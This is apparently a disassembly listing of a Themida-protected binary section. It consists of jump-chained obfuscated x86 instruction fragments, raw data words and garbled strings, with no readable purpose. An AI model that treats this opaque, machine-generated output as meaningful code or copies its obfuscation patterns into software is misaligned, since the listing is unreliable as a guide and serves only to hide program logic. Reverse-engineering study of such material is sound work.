		dd 1DE95C24h, 43FFFF53h, 2206E9h, 0F1815800h, 0AF17D1FCh
		dd 0FFA0D0E9h, 5FFA31FFh, 3B0A3405h, 5C090545h,	0A2E941B0h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0B93:				; CODE XREF: Themida_:0059CD71j
		add	edx, 4
		add	edx, 4
		push	1456h
		jmp	loc_59D252
; ---------------------------------------------------------------------------


loc_5A0BA6:				; CODE XREF: Themida_:0059646Aj
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		jmp	loc_5A8423
; ---------------------------------------------------------------------------


loc_5A0BB1:				; CODE XREF: Themida_:0059C7F1j
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		db 4Ah
		dd 7AF28142h, 0F7684C7Eh, 4BC281D2h, 0E98E53A2h, 0FFFFF8F2h
		dd 0D0005804h, 8B66582Ch, 0C4832414h, 4EC8302h,	51241C89h
		dd 0ED80D7B5h, 7E3AE957h, 0C004FFFFh, 0EAE9C800h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0BF7:				; CODE XREF: Themida_:00597C24j
		xchg	ebp, [esp]
		jmp	loc_5A4C22
; ---------------------------------------------------------------------------
		db 88h
		dd 1CB6E9D7h, 0C4810000h, 4, 0FF9664E9h, 1BEE81FFh, 581C8F23h
		dd 152C68h, 4649E900h, 68550000h, 0F1Ch, 0E9241C89h, 25E2h
		dd 4604EE81h, 1587418h,	0BFC681FEh, 81394544h, 0C22009C6h
		dd 34875F67h, 0F665C24h, 9C2404B3h, 0FF5237E9h,	0B55152FFh
		dd 0F2ED8095h, 5E4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0C61:				; CODE XREF: Themida_:005A278Ej
		and	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5A8FE5
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFDB98E9h, 242C89FFh, 90B1E9h, 0E656800h, 34890000h
		dd 1EE95124h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0C8B:				; CODE XREF: Themida_:005A2EEDj
		pop	ecx
		push	ecx
		mov	ecx, 77E44F89h
		jmp	loc_5AAFEE
; ---------------------------------------------------------------------------


loc_5A0C97:				; CODE XREF: Themida_:005A731Ej
		add	edi, 4
		jmp	loc_5AB374
; ---------------------------------------------------------------------------


loc_5A0CA2:				; CODE XREF: Themida_:00597E47j
		push	esp
		pop	edi
		jmp	loc_59D10F
; ---------------------------------------------------------------------------


loc_5A0CA9:				; CODE XREF: Themida_:005A8314j
		shr	ecx, 5
		jmp	loc_5A5139
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 33h
		dd 5536DA5Ch, 6C6EA068h, 0E8295D78h, 65BE355Dh,	0E88354F2h
		dd 35D0F701h, 156077D7h, 0FFBF7DE9h, 7DE959FFh,	8BFFFFF8h
		dd 0C4812434h, 4, 59BFEB81h, 0F3010BDBh, 59BFC381h, 69E90BDBh
		dd 8BFFFFACh, 0C481240Ch, 4, 0C2B75366h, 5B66F828h, 0C9E9F028h
		dd 66000003h, 68240C8Bh, 6726h,	89240489h, 704568E0h, 2C890000h
		dd 0B6E95424h, 5F000016h, 8B24048Fh, 8B662424h,	0D0682404h
		dd 89000019h, 3668241Ch, 0E900003Eh, 4672h, 74FF565Dh
		dd 8F5E0424h, 835C2404h, 0CF8104C4h, 1B952950h,	2AB9514Fh
		dd 5025CD2Dh, 6E679AB8h, 4105407Ah, 0E92406F1h,	0A056h
		dd 0E956C829h, 0FFFF62AAh, 240C8B66h, 0E904EC83h, 88A7h
		dd 4EC81h, 34890000h, 465CBE24h, 0E68122F2h, 584447F0h
		dd 105F68h, 242C8900h, 4654BF57h, 0FD890040h, 51243C8Bh
		dd 3756E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0DB5:				; CODE XREF: Themida_:005A45FEj
		sub	ecx, 4C641E88h
		jmp	loc_59F468
; ---------------------------------------------------------------------------


loc_5A0DC0:				; CODE XREF: Themida_:005A7383j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esi
		mov	esi, 38976CC0h
		sub	esi, 1
		shr	esi, 3
		push	eax
		jmp	loc_5A96DC
; ---------------------------------------------------------------------------


loc_5A0DE7:				; CODE XREF: Themida_:005A63EAj
		pop	edx
		add	esi, 0F552FD0h
		jmp	loc_59AC6A
; ---------------------------------------------------------------------------
		db 66h
		dd 91E99C50h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0DFB:				; CODE XREF: Themida_:0059E964j
		pop	eax
		sub	edi, eax
		add	edi, 4D034523h
		pop	eax
		sub	edi, 877AFD43h
		add	ecx, edi
		jmp	loc_5A0862
; ---------------------------------------------------------------------------
		dw 12Dh
		dd 2D000000h, 2D5070FCh, 0D8AEAC35h, 16C5811Ch,	290B133Ah
		dd 16ED81C5h, 0E90B133Ah, 5ACAh, 0CD80C5FEh, 0A3ED80C7h
		dd 8058E530h, 0F580D1E5h, 59E8004Eh, 80B4B551h,	0E800E4F5h
		dd 2CC82859h, 2EC8150h,	66000000h, 0B2241489h, 28402CDEh
		dd 664004D0h, 0C8B665Ah, 7617E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0E72:				; CODE XREF: Themida_:0059F7DEj
		mov	esi, 3B703CBAh
		sub	[esp+8], esi
		jmp	loc_59A326
; ---------------------------------------------------------------------------
		dd 0E95AD101h, 4680h, 0EC81E289h, 4, 52240C89h,	2A7BF768h
		dd 0D2F75A6Eh, 0FF5B0DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0EA1:				; CODE XREF: Themida_:00595F84j
		pop	eax
		push	edx
		pop	ebx
		mov	edx, [esp]
		jmp	loc_5A7C8F
; ---------------------------------------------------------------------------
		dd 80EEC280h, 0D030DCC2h, 8B2434FFh, 0C4812414h, 4, 0E904C483h
		dd 0FFFFDEEBh, 89240C89h, 1183E9E1h, 0EA810000h, 50D93C1h
		dd 0FF993BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0EDD:				; CODE XREF: Themida_:005A3591j
		pop	ebx
		sub	edx, ecx
		jmp	loc_5AA479
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0A2h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0EEB:				; CODE XREF: Themida_:005A8BB6j
		push	dword ptr [esp]
		jmp	loc_5A058C
; ---------------------------------------------------------------------------
		db 5
		dd 0F73948BBh, 0E7E9C389h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0EFF:				; CODE XREF: Themida_:00599FA8j
		mov	eax, 668E2D46h
		add	eax, 9971D2BEh
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5A0FA1
; ---------------------------------------------------------------------------
		dw 0E980h
		dd 5965E99Eh, 0EF81FFFFh, 53B039D7h, 74FF575Ah,	3C8B0424h
		dd 4C48124h, 8F000000h,	248B2404h, 241C8924h, 0FFED2EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0F4D:				; CODE XREF: Themida_:0059B22Dj
		sub	ecx, 0E0924DEh
		sub	ecx, ebp
		add	ecx, 0E0924DEh
		pop	ebp
		jmp	loc_59DDF8
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 4A000000h, 0C7EE281h, 0EAC160E3h, 8ACA8103h,	815B5E6Ah
		dd 50B109C2h, 5AD501E9h, 0F702E5C1h, 0A19AE9D5h, 3C89FFFFh
		dd 1B95124h, 8159CC4Ah,	536338C9h, 3E1C16Eh, 2BDEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0FA1:				; CODE XREF: Themida_:005A0F1Dj
		pop	dword ptr [esp]
		jmp	loc_598A36
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0C2800000h, 80FA0031h, 34FF31EAh, 0C4815B24h
		dd 4, 0F1468h, 24048900h, 0CAE9A3B4h, 89FFFFBBh, 0BCE958C6h
		dd 66FFFF84h, 6800B60Fh, 40AFh,	68243C89h, 4DD7h, 83242489h
		dd 5F042404h, 0FF983DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0FF9:				; CODE XREF: Themida_:005A55CFj
		add	esi, ebp
		jmp	loc_59E9C4
; ---------------------------------------------------------------------------


loc_5A1000:				; CODE XREF: Themida_:0059E8C3j
		push	edx
		jmp	loc_5A27F0
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 24505E81h, 7E6C14Eh,	0EE81D6F7h, 78D8189Bh, 0A760EE81h
		dd 0F0015EF8h, 0FBE9515Eh
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1027:				; CODE XREF: Themida_:005AB301j
		add	eax, 0B593BF78h
		jmp	loc_59D009
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 2CF9h, 9D1C77FFh, 4105866h, 41E99C24h, 59FFFF4Eh
		dd 67B668h, 24348900h, 0C681E689h, 4, 4CEB68h, 241C8900h
		dd 2F75ABBBh, 0D091E917h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A106E:				; CODE XREF: Themida_:0059ADF2j
		push	ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5A9406
; ---------------------------------------------------------------------------


loc_5A1079:				; CODE XREF: Themida_:005A20D7j
		mov	[esp], ecx
		push	ebp
		mov	ebp, 38A76A0Ah
		jmp	loc_599480
; ---------------------------------------------------------------------------


loc_5A1087:				; CODE XREF: Themida_:005A9D75j
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		push	ecx
		mov	ecx, 399B4649h
		and	esi, ecx
		pop	ecx
		push	edx
		mov	edx, 11D57049h
		push	ebp
		mov	ebp, 19D52093h
		xor	edx, ebp
		pop	ebp
		sub	esi, edx
		jmp	loc_598916
; ---------------------------------------------------------------------------
		db 58h
		dd 88D98851h, 8B01874Ch, 22E9240Ch, 29FFFFC5h, 0E95259CAh
		dd 9C10h, 34FFC204h, 7DB9E924h,	0E9C1FFFFh, 6E9C108h, 0E905E9C1h
		dd 0FFFF5ED4h, 0AA53A8BEh, 6E15E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A10FA:				; CODE XREF: Themida_:005A1868j
		push	esi
		mov	esi, 152E2C35h
		shl	esi, 4
		shl	esi, 5
		jmp	loc_5A609F
; ---------------------------------------------------------------------------
		db 88h
		dd 1AE95BDEh, 89FFFFD3h, 4C581E5h, 83000000h, 2C8704C5h
		dd 0EA015C24h, 57242C8Bh, 0DBE9E789h, 5AFFFFE9h, 0FF6F48E9h
		dd 4EC81FFh, 89000000h,	0E9542404h, 1B9Dh, 4244401h, 4246C81h
		dd 0ED8079Ah, 0E9515B58h, 9663h
; ---------------------------------------------------------------------------


loc_5A1158:				; CODE XREF: Themida_:0059F463j
		xor	esi, 3A0A3B89h
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A0807
; ---------------------------------------------------------------------------
		db 66h,	31h, 34h
		dd 34336624h, 34316624h, 0D6F76624h, 2EC81h, 89660000h
		dd 0FF662434h, 66022474h, 5624348Bh, 0C681E689h, 4, 6E0CE9h
		dd 0E9D1F700h, 8993h, 52E9DE01h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A11AF:				; CODE XREF: Themida_:005A27D4j
		push	ebx
		mov	bh, 3
		add	bh, 0FFh
		neg	bh
		shl	bh, 8
		shr	bh, 8
		add	bh, 40h
		or	al, bh
		jmp	loc_59878D
; ---------------------------------------------------------------------------
		db 51h
		dd 0F4E95954h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A11CF:				; CODE XREF: Themida_:0059ADA7j
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_5A8183
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 24343304h, 0E9243431h, 0A1AFh, 8B2434FFh
		dd 0C483240Ch, 90E95304h, 64FFFFD6h, 2B60F66h, 0FFC9D4E9h
		dd 0E9E789FFh, 0FFFF88DBh, 5C240433h, 138CE9h, 0E9505E00h
		dd 0FFFF5579h
; ---------------------------------------------------------------------------


loc_5A1220:				; CODE XREF: Themida_:005A2E96j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		mov	ebp, 417D6B5Eh
		sub	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	esi
		jmp	loc_5A1797
; ---------------------------------------------------------------------------
		db 5Bh
		dd 665BD988h, 6631E868h, 0F6241489h, 5A662414h,	0FFBE1AE9h
		dd 244481FFh, 0D8079A04h, 0FEDEE90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1266:				; CODE XREF: Themida_:005988FEj
		shl	eax, 8
		neg	eax
		jmp	loc_5A24CA
; ---------------------------------------------------------------------------
aOpbQHsw	db '¿$=®PÏÂq',0Dh,'=hèW',0
		align 10h
		dd 0E9243489h, 96FBh, 0E95FFB01h, 3E79h, 7068C681h, 0F001FC1Eh
		dd 0A06AE95Eh, 0EB89FFFFh, 0FEEB815Dh, 8133617Eh, 35EA7EBh
		dd 0E997E930h, 0BF57FFFFh, 22B313ECh, 18A5B850h, 0C7810185h
		dd 20BA2F4Dh, 0EF81C729h, 20BA2F4Dh, 0AEF8158h,	8100ACB1h
		dd 6B2E39C3h, 43E95241h, 0E9FFFF82h, 0FFFF4BA8h, 8904EC83h
		dd 4B682434h, 6800002Bh, 0E1Fh,	28BD68h, 24248900h, 4240483h
		dd 8124048Fh, 42404h, 48F0000h,	7C31E924h, 24890000h, 4B85024h
		dd 1000000h, 58042444h,	4EC815Ah, 89000000h, 0C4E9242Ch
		dd 89FFFF8Ch, 4C681E6h,	81000000h, 4C6h, 24348700h, 53E9505Ch
		dd 0F6FFFF7Eh, 2EAC0D2h, 4EC81h, 81E90000h, 5CFFFFB9h
		dd 8943E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A135D:				; CODE XREF: Themida_:0059C822j
		add	ebp, 4
		jmp	loc_597C29
; ---------------------------------------------------------------------------


loc_5A1368:				; CODE XREF: Themida_:0059B50Fj
		push	ecx
		jmp	loc_59A92A
; ---------------------------------------------------------------------------
		dw 3487h
		dd 24895C24h, 24048124h, 4, 10F0E9h, 58186800h,	0C890000h
		dd 4B924h, 0EA2D0000h, 15EA072h, 72EA05C8h, 0E9595EA0h
		dd 0FFFF754Eh, 0EA41E957h, 0C481FFFFh, 4, 76946855h, 14890000h
		dd 5883E924h, 875D0000h, 0AAE9241Ch, 59000004h,	5504C483h
		dd 7F18AFBDh, 81B95146h, 49029A04h, 0FFFFC181h,	0D1F7FFFFh
		dd 7170E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A13E1:				; CODE XREF: Themida_:0059FECFj
		push	edi
		mov	edi, 194F5C6Eh
		add	edx, edi
		pop	edi
		pop	ecx
		push	eax
		mov	eax, 7E8014D7h
		shl	eax, 3
		sub	eax, 402D1B34h
		xor	eax, 0CF6BF63Fh
		mov	ebp, eax
		pop	eax
		jmp	loc_5980D9
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 0FF28142h, 812CA824h, 89E349F2h, 6072E912h, 0CB01FFFFh
		dd 81C30159h, 0BC5109EBh, 0E9535078h, 0FFFF60D6h, 0B9240C89h
		dd 24BD3368h, 0E959CD31h, 0FFFF7CDBh, 0C381E389h, 4, 440268h
		dd 24048900h, 4B8h, 58C30100h, 750BE953h, 0C7810000h, 2CEBD440h
		dd 0E95FFE01h, 94D7h, 5C90E952h, 0A5BE0000h, 816D3836h
		dd 0C65C81EEh, 10E6811Ch, 53768D4Ah, 0B907E5BBh, 0DF14E9E2h
		dd 4DBAFFFFh, 814E5F38h, 0EE3214E2h, 1CC2817Ch,	29E0A0F2h
		dd 24148BD1h, 4C481h, 6AE90000h, 0C100003Fh, 0ED8304E5h
		dd 96EBE901h, 0BA52FFFFh, 217B08BFh, 0FF5AD729h, 815A2434h
		dd 4C4h, 0E9EF0100h, 0FFFFEFD5h, 8D68D0F6h, 89000004h
		dd 4AB7241Ch, 85E9D7F6h, 8100004Bh, 0FFFFFFC7h,	83CF87FFh
		dd 0C8904ECh, 74DAE924h, 0D389FFFFh, 0FFBDD4E9h, 22EE81FFh
		dd 0E971DED6h, 0FFFF6A95h, 8704C683h, 4CE92434h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1513:				; CODE XREF: Themida_:0059DC59j
		sub	eax, 0AD185853h
		sub	esi, 60845824h
		add	esi, eax
		add	esi, 60845824h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59B76A
; ---------------------------------------------------------------------------
aFqSlq		db 'fQœé‹Ÿ',0
		dd 0E9E28900h, 5EBh, 56241C89h,	264FE2BEh, 2EEC118h, 8101EE83h
		dd 0BC2E05EEh, 0F6814642h, 2F3B5C38h, 0FFDC19E9h, 0C3815AFFh
		dd 7D6417E6h, 39F8E9h, 97E68100h, 0C11E6C2Ch, 0F68106E6h
		dd 183054FCh, 0E95EF029h, 89A4h, 804CF280h, 0C38021EAh
		dd 0E9D32870h, 0FFFF9C9Eh, 24348151h, 6ED224Ah,	0FF9BF2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A15A1:				; CODE XREF: Themida_:005A4C10j
		pop	ebp
		jmp	loc_5AB32B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 9DC2E904h, 0C681FFFFh, 3E4B08B6h, 0BA52C601h
		dd 3E4B08B6h, 1C45E9h, 4C78100h, 83000000h, 43E904C7h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A15D3:				; CODE XREF: Themida_:0059BFD9j
		push	edi
		mov	edi, 7F043138h
		xor	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		jmp	loc_5A70B8
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 7F833116h, 11B5EF81h, 0F9312EEFh, 59CF015Fh,	4C781h
		dd 2FE90000h, 5FFFF62h,	4, 26C568h, 1A07E900h, 0C6830000h
		dd 24348704h, 4EC835Ch,	0E9241489h, 0FFFF8AC6h,	0C82801B1h
		dd 240C8B66h, 2C481h, 0D8280000h, 89B55153h, 7101E9h, 4EC8100h
		dd 89000000h, 69B9240Ch, 0E946992Ah, 5ECFh, 0CABB5351h
		dd 0B94C9B61h, 0B3649E38h, 1C8BD901h, 4C48124h,	89000000h
		dd 0EF2959CDh, 0FD1EE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1682:				; CODE XREF: Themida_:0059AB77j
		push	270Ah
		mov	[esp], ecx
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		not	edx
		xchg	edx, [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_59B0F0
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 2434FF04h, 0FF6EC2E9h, 0C8B66FFh, 70B76824h,	0C890000h
		dd 4EC8124h, 83000000h,	0C9E904ECh
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A16C7:				; CODE XREF: Themida_:0059DB63j
		mov	edi, 1EC6CA4Dh
		xor	esi, edi
		pop	edi
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5A2592
; ---------------------------------------------------------------------------


loc_5A16DD:				; CODE XREF: Themida_:0059A1E9j
		mov	[esp], ebx
		mov	ebx, 729DD70Ch
		xor	eax, ebx
		mov	ebx, [esp]
		push	edx
		jmp	loc_59CD6F
; ---------------------------------------------------------------------------


loc_5A16F0:				; CODE XREF: Themida_:005A2527j
		add	esp, 4
		jmp	loc_5A99F7
; ---------------------------------------------------------------------------
		dd 56D0015Fh, 960767BEh, 8B92E962h, 0EE80FFFFh,	88B1512Fh
		dd 0C8BCE00h, 4FF7E924h, 30ACFFFFh, 67F868D8h, 14890000h
		dd 0E9E28924h, 0FFFFF311h, 0C381E389h, 4, 8704C383h, 0BCE9241Ch
		dd 2C00004Bh, 6186E9F8h, 1489FFFFh, 2BA24h, 0EB810000h
		dd 1C4A4252h, 0B951D301h, 4332042Ch, 3C43E981h,	0E9816484h
		dd 9F03B8Bh, 7EEFE9h, 58C78900h, 97F4E9h, 240C8B00h, 3004C483h
		dd 0C0B60FC3h, 0FF8734FFh, 48B2434h, 4EC8324h, 0E9243C89h
		dd 0FFFFBC61h, 86E9E901h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1797:				; CODE XREF: Themida_:005A123Ej
		mov	esi, esp
		add	esi, 4
		jmp	loc_596391
; ---------------------------------------------------------------------------
		dd 53241C8Bh, 241C8B54h, 4C481h, 0C3810000h, 4,	0E904C383h
		dd 0FFFF75BDh
; ---------------------------------------------------------------------------


loc_5A17C0:				; CODE XREF: Themida_:005A5AECj
		add	ebp, esi
		pop	esi
		push	ebx
		jmp	loc_5A3A3F
; ---------------------------------------------------------------------------
		db 5Ah,	51h, 89h
		dd 0FFC889D9h, 83592434h, 15B04C4h, 24048BC7h, 0FFE8CCE9h
		dd 1562BAFFh, 0FF520BB3h, 2BE92434h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A17EF:				; CODE XREF: Themida_:005966E1j
		add	esp, 4
		sub	ebp, 29D415C3h
		or	ebp, 4BA100CCh
		sub	ebp, 0FFFFFFFFh
		jmp	loc_5A1CF1
; ---------------------------------------------------------------------------
		dd 0D42CEB81h, 0D9892075h, 0FFD059E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1819:				; CODE XREF: Themida_:0059D237j
		push	ebx
		jmp	loc_5969FD
; ---------------------------------------------------------------------------
		db 89h
		dd 4812404h, 96435C24h,	0B985E903h, 5153FFFFh, 2B046850h
		dd 83580646h, 1C8904ECh, 0C8BD5524h, 8959E30Ch,	32E95DEBh
		dd 0BA000078h, 151435F4h, 5700C181h, 0D10153ACh, 5700E981h
		dd 95E953ACh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1863:				; CODE XREF: Themida_:005A9EE5j
		mov	ebx, 1BE62F68h
		jmp	loc_5A10FA
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 52240C89h, 771C68h, 5658E900h, 0C481FFFFh, 2, 95352D66h
		dd 0C5896655h, 5DEA8966h, 8324048Bh, 0AAE904C4h, 81FFFF8Eh
		dd 954824EEh, 4EEC118h,	0AD4CEE81h, 0F729F5D9h,	0C6BD555Eh
		dd 0F731D103h, 0F5814DD5h, 0EE9180C6h, 15DE829h, 2CBE56F8h
		dd 0D1494219h, 0F9C2E9EEh, 83ACFFFFh, 2C8904ECh, 815D5424h
		dd 4C5h, 4ED8100h, 0E9000000h, 0B5Eh
; ---------------------------------------------------------------------------


loc_5A18E8:				; CODE XREF: Themida_:005A03EDj
		pop	ebx
		shr	dh, 4
		jmp	loc_5A4ABE
; ---------------------------------------------------------------------------


loc_5A18F1:				; CODE XREF: Themida_:005A28B7j
		mov	[esp], dx
		mov	dh, 31h
		jmp	loc_5A2688
; ---------------------------------------------------------------------------
		dd 0BD665566h, 296638AFh, 665D66EBh, 665BD831h,	5158C221h
		dd 4E4BB966h, 5AE98166h, 0E981665Fh, 0C166FFFFh, 506602E9h
		dd 0C5EEB866h, 0FFB527E9h, 48B66FFh, 41706824h,	1C890000h
		dd 743E6824h, 24890000h, 24048124h, 4, 5B2434FFh, 0FFE9B9E9h
		dd 731568FFh, 3C890000h, 3CB7E924h, 0BA520000h,	43720F70h
		dd 0FF5AD001h, 815B2434h, 4ECh,	0B8E8E900h, 8B66FFFFh
		dd 68552404h, 7086h, 0E9242489h, 0FFFF69DFh, 0E907E0C1h
		dd 0FFFF859Ah, 0CE79ADBBh, 2DE9534Dh, 1000064h,	24048BC2h
		dd 8304C483h, 148704C2h, 89525C24h, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 15B5515Ch, 0FFDEEEE9h, 0E08950FFh
		dd 8DA0E9h, 4C48100h, 5000000h,	770F6671h, 7FA068h, 243C8900h
		dd 4D02DABFh, 6E7C16Ch,	4EC81h,	34890000h, 2E4DBE24h, 2FE94BDAh
		dd 89000094h, 4832424h,	48F0424h, 24048124h, 4,	4C5815Dh
		dd 52000000h, 672568h, 0F9E95400h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1A1F:				; CODE XREF: Themida_:0059DA2Bj
		mov	eax, 4
		sub	esi, eax
		mov	eax, [esp]
		push	170Fh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A46E8
; ---------------------------------------------------------------------------
aRasW		db '½',0Dh,'ÓR é×W',0
		align 4
		dd 3AE8E781h, 814F5388h, 5D4956F7h, 0EDEF8140h,	1105D41h
		dd 0EC815FF8h, 4, 0E9243C89h, 0FFFFD3FFh
; ---------------------------------------------------------------------------


loc_5A1A6C:				; CODE XREF: Themida_:0059F6C9j
		pop	ebp
		add	esp, 4
		xor	ebp, edx
		pop	edx
		jmp	loc_5A5D79
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF4404h, 405h
		dd 4C08300h, 0E9240487h, 2410h,	73D1E950h, 0C2810000h
		dd 4, 0E9241487h, 0FFFFF8ABh, 0C0E9E189h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1AB3:				; CODE XREF: Themida_:00596C01j
		mov	eax, edi
		pop	edi
		xor	eax, 2F0E3CD3h
		jmp	loc_59F199
; ---------------------------------------------------------------------------
		dd 0BE665666h, 166D4B1h, 665E66F2h, 2244481h, 8166422Eh
		dd 68022444h, 44816644h, 327E0224h, 24540166h, 366CE902h
		dd 0C3300000h, 0E9C0B60Fh, 0FFFFF00Ah, 4EC835Dh, 0FFD3EDE9h
		dd 24148BFFh, 0E904C483h, 56C1h, 340619BDh, 61ED815Ch
		dd 1106A0Ch, 6616E9E8h,	34330000h, 24343124h, 8B243433h
		dd 61E92424h, 81FFFF43h, 4C2h, 4EA8300h, 0E9241487h, 0F4Dh
		dd 0EEE95755h, 0B9000053h, 6587700Bh, 5DE95141h, 56FFFF6Bh
		dd 24348B54h, 8104C483h, 4C6h, 4C68100h, 33000000h, 34312434h
		dd 24343324h, 0E924248Bh, 0FFFFCC6Eh, 5C241C33h, 0FFD875E9h
		dd 348759FFh, 0ECE95C24h, 68000092h, 3FA8h, 0BE243489h
		dd 78D94A72h, 9DE9F101h, 0FFFFFF6Dh, 669D1C77h,	241CD359h
		dd 42E2E99Ch, 34FFFFFFh, 0C4835824h, 0E2895204h, 3B4C68h
		dd 242C8900h, 0DB2414BDh, 7E5C120h, 7E8BBB53h, 41E97CB0h
		dd 0BA000068h, 77025CFCh, 0E95AD729h, 0A07h
; ---------------------------------------------------------------------------


loc_5A1BDC:				; CODE XREF: Themida_:005A8694j
		push	ebx
		jmp	loc_597663
; ---------------------------------------------------------------------------


loc_5A1BE2:				; CODE XREF: Themida_:005A354Dj
		push	esi
		jmp	loc_59D75F
; ---------------------------------------------------------------------------
		dd 0E9242489h, 0FFFFBC48h, 7A89E952h, 815BFFFFh, 705752CFh
		dd 6098E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1C02:				; CODE XREF: Themida_:005AA170j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5A71B0
; ---------------------------------------------------------------------------
		db 80h,	0E2h, 43h
		dd 0FFF297E9h, 241489FFh, 6877E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A1C1D:				; CODE XREF: Themida_:0059DA33j
		pop	ebp
		xor	eax, edx
		pop	edx
		push	ebp
		push	edi
		jmp	loc_59DE26
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 4EF8300h, 0FF6109E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1C39:				; CODE XREF: Themida_:005A2662j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		jmp	loc_5A31BA
; ---------------------------------------------------------------------------
		db 89h
		dd 5216E9E6h, 4F470000h, 4964C781h, 0BA52203Ch,	720D2654h
		dd 5415C281h, 35E90C88h, 33000017h, 1AE9241Ch, 0F7FFFFB8h
		dd 0CDF681D6h, 530E4215h, 0ED79D0BBh, 5BB3E925h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1C86:				; CODE XREF: Themida_:0059D5F4j
		add	ebp, 4
		jmp	loc_5974C2
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 51000000h, 42474FFh,	24048F59h, 7563E9h, 0B3BF5700h
		dd 0BE23F327h, 8DB3F6Dh, 315FFE01h, 31F731FEh, 87D7F7FEh
		dd 82D2E9FEh, 0EDC1FFFFh, 7977E905h, 0C329FFFFh, 192DE958h
		dd 0C5890000h, 246C0158h, 543FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1CDE:				; CODE XREF: Themida_:005A6E03j
		mov	[esp], ebp
		mov	ebp, 0F128906Ch
		add	ebx, ebp
